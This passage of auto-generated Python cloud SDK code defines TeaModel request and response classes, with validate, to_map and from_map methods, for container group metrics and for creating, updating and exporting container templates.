self.validate_required(self.tx_packets, 'tx_packets') self.validate_required(self.tx_dropped, 'tx_dropped') self.validate_required(self.tx_errors, 'tx_errors') self.validate_required(self.interface_stats, 'interface_stats') if self.interface_stats: for k in self.interface_stats: if k : k.validate() self.validate_required(self.tcp, 'tcp') if self.tcp: self.tcp.validate() self.validate_required(self.tcp_6, 'tcp_6') if self.tcp_6: self.tcp_6.validate() self.validate_required(self.udp, 'udp') if self.udp: self.udp.validate() self.validate_required(self.udp_6, 'udp_6') if self.udp_6: self.udp_6.validate() def to_map(self): result = {} result['Name'] = self.name result['RxBytes'] = self.rx_bytes result['RxPackets'] = self.rx_packets result['RxErrors'] = self.rx_errors result['RxDropped'] = self.rx_dropped result['TxBytes'] = self.tx_bytes result['TxPackets'] = self.tx_packets result['TxDropped'] = self.tx_dropped result['TxErrors'] = self.tx_errors result['InterfaceStats'] = [] if self.interface_stats is not None: for k in self.interface_stats: result['InterfaceStats'].append(k.to_map() if k else None) else: result['InterfaceStats'] = None if self.tcp is not None: result['Tcp'] = self.tcp.to_map() else: result['Tcp'] = None if self.tcp_6 is not None: result['Tcp6'] = self.tcp_6.to_map() else: result['Tcp6'] = None if self.udp is not None: result['Udp'] = self.udp.to_map() else: result['Udp'] = None if self.udp_6 is not None: result['Udp6'] = self.udp_6.to_map() else: result['Udp6'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.rx_bytes = map.get('RxBytes') self.rx_packets = map.get('RxPackets') self.rx_errors = map.get('RxErrors') self.rx_dropped = map.get('RxDropped') self.tx_bytes = map.get('TxBytes') self.tx_packets = map.get('TxPackets') self.tx_dropped = map.get('TxDropped') self.tx_errors = map.get('TxErrors') self.interface_stats = [] if map.get('InterfaceStats') is not None: for k in map.get('InterfaceStats'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsInterfaceStats() temp_model = temp_model.from_map(k) self.interface_stats.append(temp_model) else: self.interface_stats = None if map.get('Tcp') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsTcp() self.tcp = temp_model.from_map(map['Tcp']) else: self.tcp = None if map.get('Tcp6') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsTcp6() self.tcp_6 = temp_model.from_map(map['Tcp6']) else: self.tcp_6 = None if map.get('Udp') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsUdp() self.udp = temp_model.from_map(map['Udp']) else: self.udp = None if map.get('Udp6') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStatsUdp6() self.udp_6 = temp_model.from_map(map['Udp6']) else: self.udp_6 = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsTaskStats(TeaModel): def __init__(self, nr_sleeping=None, nr_running=None, nr_stopped=None, nr_uninterruptible=None, nr_io_wait=None): self.nr_sleeping = nr_sleeping self.nr_running = nr_running self.nr_stopped = nr_stopped self.nr_uninterruptible = nr_uninterruptible self.nr_io_wait = nr_io_wait def validate(self): self.validate_required(self.nr_sleeping, 'nr_sleeping') self.validate_required(self.nr_running, 'nr_running') self.validate_required(self.nr_stopped, 'nr_stopped') self.validate_required(self.nr_uninterruptible, 'nr_uninterruptible') self.validate_required(self.nr_io_wait, 'nr_io_wait') def to_map(self): result = {} result['NrSleeping'] = self.nr_sleeping result['NrRunning'] = self.nr_running result['NrStopped'] = self.nr_stopped result['NrUninterruptible'] = self.nr_uninterruptible result['NrIoWait'] = self.nr_io_wait return result def from_map(self, map={}): self.nr_sleeping = map.get('NrSleeping') self.nr_running = map.get('NrRunning') self.nr_stopped = map.get('NrStopped') self.nr_uninterruptible = map.get('NrUninterruptible') self.nr_io_wait = map.get('NrIoWait') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStats(TeaModel): def __init__(self, timestamp=None, fs_stats=None, accelerator_stats=None, cpu_stats=None, disk_io_stats=None, memory_stats=None, network_stats=None, task_stats=None): self.timestamp = timestamp self.fs_stats = [] self.accelerator_stats = [] self.cpu_stats = cpu_stats self.disk_io_stats = disk_io_stats self.memory_stats = memory_stats self.network_stats = network_stats self.task_stats = task_stats def validate(self): self.validate_required(self.timestamp, 'timestamp') self.validate_required(self.fs_stats, 'fs_stats') if self.fs_stats: for k in self.fs_stats: if k : k.validate() self.validate_required(self.accelerator_stats, 'accelerator_stats') if self.accelerator_stats: for k in self.accelerator_stats: if k : k.validate() self.validate_required(self.cpu_stats, 'cpu_stats') if self.cpu_stats: self.cpu_stats.validate() self.validate_required(self.disk_io_stats, 'disk_io_stats') if self.disk_io_stats: self.disk_io_stats.validate() self.validate_required(self.memory_stats, 'memory_stats') if self.memory_stats: self.memory_stats.validate() self.validate_required(self.network_stats, 'network_stats') if self.network_stats: self.network_stats.validate() self.validate_required(self.task_stats, 'task_stats') if self.task_stats: self.task_stats.validate() def to_map(self): result = {} result['Timestamp'] = self.timestamp result['FsStats'] = [] if self.fs_stats is not None: for k in self.fs_stats: result['FsStats'].append(k.to_map() if k else None) else: result['FsStats'] = None result['AcceleratorStats'] = [] if self.accelerator_stats is not None: for k in self.accelerator_stats: result['AcceleratorStats'].append(k.to_map() if k else None) else: result['AcceleratorStats'] = None if self.cpu_stats is not None: result['CpuStats'] = self.cpu_stats.to_map() else: result['CpuStats'] = None if self.disk_io_stats is not None: result['DiskIoStats'] = self.disk_io_stats.to_map() else: result['DiskIoStats'] = None if self.memory_stats is not None: result['MemoryStats'] = self.memory_stats.to_map() else: result['MemoryStats'] = None if self.network_stats is not None: result['NetworkStats'] = self.network_stats.to_map() else: result['NetworkStats'] = None if self.task_stats is not None: result['TaskStats'] = self.task_stats.to_map() else: result['TaskStats'] = None return result def from_map(self, map={}): self.timestamp = map.get('Timestamp') self.fs_stats = [] if map.get('FsStats') is not None: for k in map.get('FsStats'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsFsStats() temp_model = temp_model.from_map(k) self.fs_stats.append(temp_model) else: self.fs_stats = None self.accelerator_stats = [] if map.get('AcceleratorStats') is not None: for k in map.get('AcceleratorStats'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsAcceleratorStats() temp_model = temp_model.from_map(k) self.accelerator_stats.append(temp_model) else: self.accelerator_stats = None if map.get('CpuStats') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsCpuStats() self.cpu_stats = temp_model.from_map(map['CpuStats']) else: self.cpu_stats = None if map.get('DiskIoStats') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsDiskIoStats() self.disk_io_stats = temp_model.from_map(map['DiskIoStats']) else: self.disk_io_stats = None if map.get('MemoryStats') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsMemoryStats() self.memory_stats = temp_model.from_map(map['MemoryStats']) else: self.memory_stats = None if map.get('NetworkStats') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsNetworkStats() self.network_stats = temp_model.from_map(map['NetworkStats']) else: self.network_stats = None if map.get('TaskStats') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStatsTaskStats() self.task_stats = temp_model.from_map(map['TaskStats']) else: self.task_stats = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerSpecContainerCpu(TeaModel): def __init__(self, limit=None, max_limit=None, mask=None, quota=None, period=None): self.limit = limit self.max_limit = max_limit self.mask = mask self.quota = quota self.period = period def validate(self): self.validate_required(self.limit, 'limit') self.validate_required(self.max_limit, 'max_limit') self.validate_required(self.mask, 'mask') self.validate_required(self.quota, 'quota') self.validate_required(self.period, 'period') def to_map(self): result = {} result['Limit'] = self.limit result['MaxLimit'] = self.max_limit result['Mask'] = self.mask result['Quota'] = self.quota result['Period'] = self.period return result def from_map(self, map={}): self.limit = map.get('Limit') self.max_limit = map.get('MaxLimit') self.mask = map.get('Mask') self.quota = map.get('Quota') self.period = map.get('Period') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerSpecContainerMemory(TeaModel): def __init__(self, limit=None, reservation=None, swap_limit=None): self.limit = limit self.reservation = reservation self.swap_limit = swap_limit def validate(self): self.validate_required(self.limit, 'limit') self.validate_required(self.reservation, 'reservation') self.validate_required(self.swap_limit, 'swap_limit') def to_map(self): result = {} result['Limit'] = self.limit result['Reservation'] = self.reservation result['SwapLimit'] = self.swap_limit return result def from_map(self, map={}): self.limit = map.get('Limit') self.reservation = map.get('Reservation') self.swap_limit = map.get('SwapLimit') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerSpec(TeaModel): def __init__(self, creation_time=None, has_cpu=None, has_memory=None, has_network=None, has_filesystem=None, has_disk_io=None, has_custom_metrics=None, image=None, labels=None, envs=None, container_cpu=None, container_memory=None): self.creation_time = creation_time self.has_cpu = has_cpu self.has_memory = has_memory self.has_network = has_network self.has_filesystem = has_filesystem self.has_disk_io = has_disk_io self.has_custom_metrics = has_custom_metrics self.image = image self.labels = labels self.envs = envs self.container_cpu = container_cpu self.container_memory = container_memory def validate(self): self.validate_required(self.creation_time, 'creation_time') self.validate_required(self.has_cpu, 'has_cpu') self.validate_required(self.has_memory, 'has_memory') self.validate_required(self.has_network, 'has_network') self.validate_required(self.has_filesystem, 'has_filesystem') self.validate_required(self.has_disk_io, 'has_disk_io') self.validate_required(self.has_custom_metrics, 'has_custom_metrics') self.validate_required(self.image, 'image') self.validate_required(self.labels, 'labels') self.validate_required(self.envs, 'envs') self.validate_required(self.container_cpu, 'container_cpu') if self.container_cpu: self.container_cpu.validate() self.validate_required(self.container_memory, 'container_memory') if self.container_memory: self.container_memory.validate() def to_map(self): result = {} result['CreationTime'] = self.creation_time result['HasCpu'] = self.has_cpu result['HasMemory'] = self.has_memory result['HasNetwork'] = self.has_network result['HasFilesystem'] = self.has_filesystem result['HasDiskIo'] = self.has_disk_io result['HasCustomMetrics'] = self.has_custom_metrics result['Image'] = self.image result['Labels'] = self.labels result['Envs'] = self.envs if self.container_cpu is not None: result['ContainerCpu'] = self.container_cpu.to_map() else: result['ContainerCpu'] = None if self.container_memory is not None: result['ContainerMemory'] = self.container_memory.to_map() else: result['ContainerMemory'] = None return result def from_map(self, map={}): self.creation_time = map.get('CreationTime') self.has_cpu = map.get('HasCpu') self.has_memory = map.get('HasMemory') self.has_network = map.get('HasNetwork') self.has_filesystem = map.get('HasFilesystem') self.has_disk_io = map.get('HasDiskIo') self.has_custom_metrics = map.get('HasCustomMetrics') self.image = map.get('Image') self.labels = map.get('Labels') self.envs = map.get('Envs') if map.get('ContainerCpu') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerSpecContainerCpu() self.container_cpu = temp_model.from_map(map['ContainerCpu']) else: self.container_cpu = None if map.get('ContainerMemory') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerSpecContainerMemory() self.container_memory = temp_model.from_map(map['ContainerMemory']) else: self.container_memory = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfos(TeaModel): def __init__(self, id=None, name=None, namespace=None, labels=None, container_stats=None, container_spec=None, aliases=None): self.id = id self.name = name self.namespace = namespace self.labels = labels self.container_stats = [] self.container_spec = container_spec self.aliases = [] def validate(self): self.validate_required(self.id, 'id') self.validate_required(self.name, 'name') self.validate_required(self.namespace, 'namespace') self.validate_required(self.labels, 'labels') self.validate_required(self.container_stats, 'container_stats') if self.container_stats: for k in self.container_stats: if k : k.validate() self.validate_required(self.container_spec, 'container_spec') if self.container_spec: self.container_spec.validate() self.validate_required(self.aliases, 'aliases') def to_map(self): result = {} result['Id'] = self.id result['Name'] = self.name result['Namespace'] = self.namespace result['Labels'] = self.labels result['ContainerStats'] = [] if self.container_stats is not None: for k in self.container_stats: result['ContainerStats'].append(k.to_map() if k else None) else: result['ContainerStats'] = None if self.container_spec is not None: result['ContainerSpec'] = self.container_spec.to_map() else: result['ContainerSpec'] = None result['Aliases'] = [] if self.aliases is not None: for k in self.aliases: result['Aliases'].append(k) else: result['Aliases'] = None return result def from_map(self, map={}): self.id = map.get('Id') self.name = map.get('Name') self.namespace = map.get('Namespace') self.labels = map.get('Labels') self.container_stats = [] if map.get('ContainerStats') is not None: for k in map.get('ContainerStats'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerStats() temp_model = temp_model.from_map(k) self.container_stats.append(temp_model) else: self.container_stats = None if map.get('ContainerSpec') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfosContainerSpec() self.container_spec = temp_model.from_map(map['ContainerSpec']) else: self.container_spec = None self.aliases = [] if map.get('Aliases') is not None: for k in map.get('Aliases'): self.aliases.append(k) else: self.aliases = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatas(TeaModel): def __init__(self, container_group_id=None, records=None, container_infos=None): self.container_group_id = container_group_id self.records = [] self.container_infos = [] def validate(self): self.validate_required(self.container_group_id, 'container_group_id') self.validate_required(self.records, 'records') if self.records: for k in self.records: if k : k.validate() self.validate_required(self.container_infos, 'container_infos') if self.container_infos: for k in self.container_infos: if k : k.validate() def to_map(self): result = {} result['ContainerGroupId'] = self.container_group_id result['Records'] = [] if self.records is not None: for k in self.records: result['Records'].append(k.to_map() if k else None) else: result['Records'] = None result['ContainerInfos'] = [] if self.container_infos is not None: for k in self.container_infos: result['ContainerInfos'].append(k.to_map() if k else None) else: result['ContainerInfos'] = None return result def from_map(self, map={}): self.container_group_id = map.get('ContainerGroupId') self.records = [] if map.get('Records') is not None: for k in map.get('Records'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecords() temp_model = temp_model.from_map(k) self.records.append(temp_model) else: self.records = None self.container_infos = [] if map.get('ContainerInfos') is not None: for k in map.get('ContainerInfos'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasContainerInfos() temp_model = temp_model.from_map(k) self.container_infos.append(temp_model) else: self.container_infos = None return self class DescribeContainerGroupMetricRequest(TeaModel): def __init__(self, region_id=None, container_group_id=None, start_time=None, end_time=None, period=None): self.region_id = region_id self.container_group_id = container_group_id self.start_time = start_time self.end_time = end_time self.period = period def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.container_group_id, 'container_group_id') def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupId'] = self.container_group_id result['StartTime'] = self.start_time result['EndTime'] = self.end_time result['Period'] = self.period return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_id = map.get('ContainerGroupId') self.start_time = map.get('StartTime') self.end_time = map.get('EndTime') self.period = map.get('Period') return self class DescribeContainerGroupMetricResponse(TeaModel): def __init__(self, request_id=None, container_group_id=None, records=None): self.request_id = request_id self.container_group_id = container_group_id self.records = [] def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.container_group_id, 'container_group_id') self.validate_required(self.records, 'records') if self.records: for k in self.records: if k : k.validate() def to_map(self): result = {} result['RequestId'] = self.request_id result['ContainerGroupId'] = self.container_group_id result['Records'] = [] if self.records is not None: for k in self.records: result['Records'].append(k.to_map() if k else None) else: result['Records'] = None return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.container_group_id = map.get('ContainerGroupId') self.records = [] if map.get('Records') is not None: for k in map.get('Records'): temp_model = DescribeContainerGroupMetricResponseRecords() temp_model = temp_model.from_map(k) self.records.append(temp_model) else: self.records = None return self class DescribeContainerGroupMetricResponseRecordsContainersCPU(TeaModel): def __init__(self, usage_nano_cores=None, usage_core_nano_seconds=None, load=None, limit=None): self.usage_nano_cores = usage_nano_cores self.usage_core_nano_seconds = usage_core_nano_seconds self.load = load self.limit = limit def validate(self): self.validate_required(self.usage_nano_cores, 'usage_nano_cores') self.validate_required(self.usage_core_nano_seconds, 'usage_core_nano_seconds') self.validate_required(self.load, 'load') self.validate_required(self.limit, 'limit') def to_map(self): result = {} result['UsageNanoCores'] = self.usage_nano_cores result['UsageCoreNanoSeconds'] = self.usage_core_nano_seconds result['Load'] = self.load result['Limit'] = self.limit return result def from_map(self, map={}): self.usage_nano_cores = map.get('UsageNanoCores') self.usage_core_nano_seconds = map.get('UsageCoreNanoSeconds') self.load = map.get('Load') self.limit = map.get('Limit') return self class DescribeContainerGroupMetricResponseRecordsContainersMemory(TeaModel): def __init__(self, available_bytes=None, usage_bytes=None, cache=None, working_set=None, rss=None): self.available_bytes = available_bytes self.usage_bytes = usage_bytes self.cache = cache self.working_set = working_set self.rss = rss def validate(self): self.validate_required(self.available_bytes, 'available_bytes') self.validate_required(self.usage_bytes, 'usage_bytes') self.validate_required(self.cache, 'cache') self.validate_required(self.working_set, 'working_set') self.validate_required(self.rss, 'rss') def to_map(self): result = {} result['AvailableBytes'] = self.available_bytes result['UsageBytes'] = self.usage_bytes result['Cache'] = self.cache result['WorkingSet'] = self.working_set result['Rss'] = self.rss return result def from_map(self, map={}): self.available_bytes = map.get('AvailableBytes') self.usage_bytes = map.get('UsageBytes') self.cache = map.get('Cache') self.working_set = map.get('WorkingSet') self.rss = map.get('Rss') return self class DescribeContainerGroupMetricResponseRecordsContainers(TeaModel): def __init__(self, name=None, _cpu=None, memory=None): self.name = name self._cpu = _cpu self.memory = memory def validate(self): self.validate_required(self.name, 'name') self.validate_required(self._cpu, '_cpu') if self._cpu: self._cpu.validate() self.validate_required(self.memory, 'memory') if self.memory: self.memory.validate() def to_map(self): result = {} result['Name'] = self.name if self._cpu is not None: result['CPU'] = self._cpu.to_map() else: result['CPU'] = None if self.memory is not None: result['Memory'] = self.memory.to_map() else: result['Memory'] = None return result def from_map(self, map={}): self.name = map.get('Name') if map.get('CPU') is not None: temp_model = DescribeContainerGroupMetricResponseRecordsContainersCPU() self._cpu = temp_model.from_map(map['CPU']) else: self._cpu = None if map.get('Memory') is not None: temp_model = DescribeContainerGroupMetricResponseRecordsContainersMemory() self.memory = temp_model.from_map(map['Memory']) else: self.memory = None return self class DescribeContainerGroupMetricResponseRecordsCPU(TeaModel): def __init__(self, usage_nano_cores=None, usage_core_nano_seconds=None, load=None, limit=None): self.usage_nano_cores = usage_nano_cores self.usage_core_nano_seconds = usage_core_nano_seconds self.load = load self.limit = limit def validate(self): self.validate_required(self.usage_nano_cores, 'usage_nano_cores') self.validate_required(self.usage_core_nano_seconds, 'usage_core_nano_seconds') self.validate_required(self.load, 'load') self.validate_required(self.limit, 'limit') def to_map(self): result = {} result['UsageNanoCores'] = self.usage_nano_cores result['UsageCoreNanoSeconds'] = self.usage_core_nano_seconds result['Load'] = self.load result['Limit'] = self.limit return result def from_map(self, map={}): self.usage_nano_cores = map.get('UsageNanoCores') self.usage_core_nano_seconds = map.get('UsageCoreNanoSeconds') self.load = map.get('Load') self.limit = map.get('Limit') return self class DescribeContainerGroupMetricResponseRecordsMemory(TeaModel): def __init__(self, available_bytes=None, usage_bytes=None, cache=None, working_set=None, rss=None): self.available_bytes = available_bytes self.usage_bytes = usage_bytes self.cache = cache self.working_set = working_set self.rss = rss def validate(self): self.validate_required(self.available_bytes, 'available_bytes') self.validate_required(self.usage_bytes, 'usage_bytes') self.validate_required(self.cache, 'cache') self.validate_required(self.working_set, 'working_set') self.validate_required(self.rss, 'rss') def to_map(self): result = {} result['AvailableBytes'] = self.available_bytes result['UsageBytes'] = self.usage_bytes result['Cache'] = self.cache result['WorkingSet'] = self.working_set result['Rss'] = self.rss return result def from_map(self, map={}): self.available_bytes = map.get('AvailableBytes') self.usage_bytes = map.get('UsageBytes') self.cache = map.get('Cache') self.working_set = map.get('WorkingSet') self.rss = map.get('Rss') return self class DescribeContainerGroupMetricResponseRecordsNetworkInterfaces(TeaModel): def __init__(self, tx_bytes=None, rx_bytes=None, tx_errors=None, rx_errors=None, name=None): self.tx_bytes = tx_bytes self.rx_bytes = rx_bytes self.tx_errors = tx_errors self.rx_errors = rx_errors self.name = name def validate(self): self.validate_required(self.tx_bytes, 'tx_bytes') self.validate_required(self.rx_bytes, 'rx_bytes') self.validate_required(self.tx_errors, 'tx_errors') self.validate_required(self.rx_errors, 'rx_errors') self.validate_required(self.name, 'name') def to_map(self): result = {} result['TxBytes'] = self.tx_bytes result['RxBytes'] = self.rx_bytes result['TxErrors'] = self.tx_errors result['RxErrors'] = self.rx_errors result['Name'] = self.name return result def from_map(self, map={}): self.tx_bytes = map.get('TxBytes') self.rx_bytes = map.get('RxBytes') self.tx_errors = map.get('TxErrors') self.rx_errors = map.get('RxErrors') self.name = map.get('Name') return self class DescribeContainerGroupMetricResponseRecordsNetwork(TeaModel): def __init__(self, interfaces=None): self.interfaces = [] def validate(self): self.validate_required(self.interfaces, 'interfaces') if self.interfaces: for k in self.interfaces: if k : k.validate() def to_map(self): result = {} result['Interfaces'] = [] if self.interfaces is not None: for k in self.interfaces: result['Interfaces'].append(k.to_map() if k else None) else: result['Interfaces'] = None return result def from_map(self, map={}): self.interfaces = [] if map.get('Interfaces') is not None: for k in map.get('Interfaces'): temp_model = DescribeContainerGroupMetricResponseRecordsNetworkInterfaces() temp_model = temp_model.from_map(k) self.interfaces.append(temp_model) else: self.interfaces = None return self class DescribeContainerGroupMetricResponseRecords(TeaModel): def __init__(self, timestamp=None, containers=None, _cpu=None, memory=None, network=None): self.timestamp = timestamp self.containers = [] self._cpu = _cpu self.memory = memory self.network = network def validate(self): self.validate_required(self.timestamp, 'timestamp') self.validate_required(self.containers, 'containers') if self.containers: for k in self.containers: if k : k.validate() self.validate_required(self._cpu, '_cpu') if self._cpu: self._cpu.validate() self.validate_required(self.memory, 'memory') if self.memory: self.memory.validate() self.validate_required(self.network, 'network') if self.network: self.network.validate() def to_map(self): result = {} result['Timestamp'] = self.timestamp result['Containers'] = [] if self.containers is not None: for k in self.containers: result['Containers'].append(k.to_map() if k else None) else: result['Containers'] = None if self._cpu is not None: result['CPU'] = self._cpu.to_map() else: result['CPU'] = None if self.memory is not None: result['Memory'] = self.memory.to_map() else: result['Memory'] = None if self.network is not None: result['Network'] = self.network.to_map() else: result['Network'] = None return result def from_map(self, map={}): self.timestamp = map.get('Timestamp') self.containers = [] if map.get('Containers') is not None: for k in map.get('Containers'): temp_model = DescribeContainerGroupMetricResponseRecordsContainers() temp_model = temp_model.from_map(k) self.containers.append(temp_model) else: self.containers = None if map.get('CPU') is not None: temp_model = DescribeContainerGroupMetricResponseRecordsCPU() self._cpu = temp_model.from_map(map['CPU']) else: self._cpu = None if map.get('Memory') is not None: temp_model = DescribeContainerGroupMetricResponseRecordsMemory() self.memory = temp_model.from_map(map['Memory']) else: self.memory = None if map.get('Network') is not None: temp_model = DescribeContainerGroupMetricResponseRecordsNetwork() self.network = temp_model.from_map(map['Network']) else: self.network = None return self class UpdateContainerGroupByTemplateRequest(TeaModel): def __init__(self, region_id=None, template=None, client_token=None): self.region_id = region_id self.template = template self.client_token = client_token def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.template, 'template') def to_map(self): result = {} result['RegionId'] = self.region_id result['Template'] = self.template result['ClientToken'] = self.client_token return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.template = map.get('Template') self.client_token = map.get('ClientToken') return self class UpdateContainerGroupByTemplateResponse(TeaModel): def __init__(self, request_id=None): self.request_id = request_id def validate(self): self.validate_required(self.request_id, 'request_id') def to_map(self): result = {} result['RequestId'] = self.request_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') return self class CreateContainerGroupFromTemplateRequest(TeaModel): def __init__(self, region_id=None, template=None, client_token=None): self.region_id = region_id self.template = template self.client_token = client_token def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.template, 'template') def to_map(self): result = {} result['RegionId'] = self.region_id result['Template'] = self.template result['ClientToken'] = self.client_token return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.template = map.get('Template') self.client_token = map.get('ClientToken') return self class CreateContainerGroupFromTemplateResponse(TeaModel): def __init__(self, request_id=None, container_group_id=None): self.request_id = request_id self.container_group_id = container_group_id def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.container_group_id, 'container_group_id') def to_map(self): result = {} result['RequestId'] = self.request_id result['ContainerGroupId'] = self.container_group_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.container_group_id = map.get('ContainerGroupId') return self class ExportContainerGroupTemplateRequest(TeaModel): def __init__(self, region_id=None, container_group_id=None): self.region_id = region_id self.container_group_id = container_group_id def validate(self): pass def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupId'] = self.container_group_id return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_id = map.get('ContainerGroupId') return self class ExportContainerGroupTemplateResponse(TeaModel): def __init__(self, request_id=None, template=None): self.request_id = request_id self.template = template def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.template, 'template') if self.template: self.template.validate() def to_map(self): result = {} result['RequestId'] = self.request_id if self.template is not None: result['Template'] = self.template.to_map() else: result['Template'] = None return result def from_map(self, map={}): self.request_id = map.get('RequestId') if map.get('Template') is not None: temp_model = ExportContainerGroupTemplateResponseTemplate() self.template = temp_model.from_map(map['Template']) else: self.template = None return self class ExportContainerGroupTemplateResponseTemplateTags(TeaModel): def __init__(self, key=None, value=None): self.key = key self.value = value def validate(self): self.validate_required(self.key, 'key') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') return self class ExportContainerGroupTemplateResponseTemplateResources(TeaModel): def __init__(self, cpu=None, memory=None): self.cpu = cpu self.memory = memory def validate(self): self.validate_required(self.cpu, 'cpu') self.validate_required(self.memory, 'memory') def to_map(self): result = {} result['Cpu'] = self.cpu result['Memory'] = self.memory return result def from_map(self, map={}): self.cpu = map.get('Cpu') self.memory = map.get('Memory') return self class ExportContainerGroupTemplateResponseTemplateSpecVolumesConfigFileItems(TeaModel): def __init__(self, mode=None, path=None, content=None): self.mode = mode self.path = path self.content = content def validate(self): self.validate_required(self.mode, 'mode') self.validate_required(self.path, 'path') self.validate_required(self.content, 'content') def to_map(self): result = {} result['Mode'] = self.mode result['Path'] = self.path result['Content'] = self.content return result def from_map(self, map={}): self.mode = map.get('Mode') self.path = map.get('Path') self.content = map.get('Content') return self class ExportContainerGroupTemplateResponseTemplateSpecVolumesConfigFile(TeaModel): def __init__(self, default_mode=None, items=None): self.default_mode = default_mode self.items = [] def validate(self): self.validate_required(self.default_mode, 'default_mode') self.validate_required(self.items, 'items') if self.items: for k in self.items: if k : k.validate() def to_map(self): result = {} result['DefaultMode'] = self.default_mode result['Items'] = [] if self.items is not None: for k in self.items: result['Items'].append(k.to_map() if k else None) else: result['Items'] = None return result def from_map(self, map={}): self.default_mode = map.get('DefaultMode') self.items = [] if map.get('Items') is not None: for k in map.get('Items'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecVolumesConfigFileItems() temp_model = temp_model.from_map(k) self.items.append(temp_model) else: self.items = None return self class ExportContainerGroupTemplateResponseTemplateSpecVolumesEmptyDir(TeaModel): def __init__(self, size_limit=None): self.size_limit = size_limit def validate(self): self.validate_required(self.size_limit, 'size_limit') def to_map(self): result = {} result['SizeLimit'] = self.size_limit return result def from_map(self, map={}): self.size_limit = map.get('SizeLimit') return self class ExportContainerGroupTemplateResponseTemplateSpecVolumesNfs(TeaModel): def __init__(self, server=None, path=None, read_only=None): self.server = server self.path = path self.read_only = read_only def validate(self): self.validate_required(self.server, 'server') self.validate_required(self.path, 'path') self.validate_required(self.read_only, 'read_only') def to_map(self): result = {} result['Server'] = self.server result['Path'] = self.path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.server = map.get('Server') self.path = map.get('Path') self.read_only = map.get('ReadOnly') return self class ExportContainerGroupTemplateResponseTemplateSpecVolumes(TeaModel): def __init__(self, name=None, config_file=None, empty_dir=None, nfs=None): self.name = name self.config_file = config_file self.empty_dir = empty_dir self.nfs = nfs def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.config_file, 'config_file') if self.config_file: self.config_file.validate() self.validate_required(self.empty_dir, 'empty_dir') if self.empty_dir: self.empty_dir.validate() self.validate_required(self.nfs, 'nfs') if self.nfs: self.nfs.validate() def to_map(self): result = {} result['Name'] = self.name if self.config_file is not None: result['ConfigFile'] = self.config_file.to_map() else: result['ConfigFile'] = None if self.empty_dir is not None: result['EmptyDir'] = self.empty_dir.to_map() else: result['EmptyDir'] = None if self.nfs is not None: result['Nfs'] = self.nfs.to_map() else: result['Nfs'] = None return result def from_map(self, map={}): self.name = map.get('Name') if map.get('ConfigFile') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecVolumesConfigFile() self.config_file = temp_model.from_map(map['ConfigFile']) else: self.config_file = None if map.get('EmptyDir') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecVolumesEmptyDir() self.empty_dir = temp_model.from_map(map['EmptyDir']) else: self.empty_dir = None if map.get('Nfs') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecVolumesNfs() self.nfs = temp_model.from_map(map['Nfs']) else: self.nfs = None return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersEnvValueFromFieldRef(TeaModel): def __init__(self, field_path=None): self.field_path = field_path def validate(self): self.validate_required(self.field_path, 'field_path') def to_map(self): result = {} result['FieldPath'] = self.field_path return result def from_map(self, map={}): self.field_path = map.get('FieldPath') return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersEnvValueFrom(TeaModel): def __init__(self, field_ref=None): self.field_ref = field_ref def validate(self): 